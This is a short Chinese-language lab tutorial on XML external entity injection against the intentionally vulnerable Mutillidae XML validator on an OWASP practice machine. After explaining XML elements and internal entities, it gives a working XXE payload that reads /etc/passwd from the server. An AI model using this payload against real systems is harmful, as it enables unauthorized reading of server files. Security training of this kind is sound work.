前言:
在现实生活中大量存在有关系的数据,XML语言出现的根本目标在于描述在现实生活中经常出现的有关系的数据。
在XML语言中,它允许用户自定义标签。一个标签用于描述一段数据;一个标签可分为开始标签和结束标签,在开始标签和结束标签之间,又可以使用其它标签描述其它数据,以此来实现数据关系的描述。(在XML中,用ELEMENT表示元素,用ENTITY表示实体)
环境准备
1.开启OWASP靶机和Kali虚拟机
利用XML外部实体注入案例
1.浏览器打开:
http://_(OWASP靶机IP)/mutillidae/index.php?page=xml-validator.php
2.这是一个 XML 验证器。提交样例进行测试:在 XML 框中,输入然后点击 Validate XML。(测试显示效果)
<somexml><message>Hello World</message></somexml>
3.测试它是否正确地处理了实体标记。输入以下内容:
<!DOCTYPE person [
<!ELEMENT person ANY>
<!ENTITY person "Mr Bob">
]>
<somexml><message>Hello World &person;</message></somexml>
在这里,只定义了一个名字为person的内部实体将 Mr Bob 设为其值。解析器在显示结果时解释了实体并替换该值(测试使用实体的显示效果),所以显示:Hello World Mr Bob
4.这就是内部实体的使用。再尝试一个外部实体的使用,在这个结果,可以看到注入后返回文件的内容:
<!DOCTYPE fileEntity [
<!ELEMENT fileEntity ANY>
<!ENTITY fileEntity SYSTEM "file:///etc/passwd">
]>
<somexml><message>Hello World &fileEntity;</message></somexml>
(利用XML的外部注入漏洞,获取本地,也就是靶机上的passwd文件内容)
使用这种技术,可以读取系统中任何对运行 web 服务器用户可读的文件。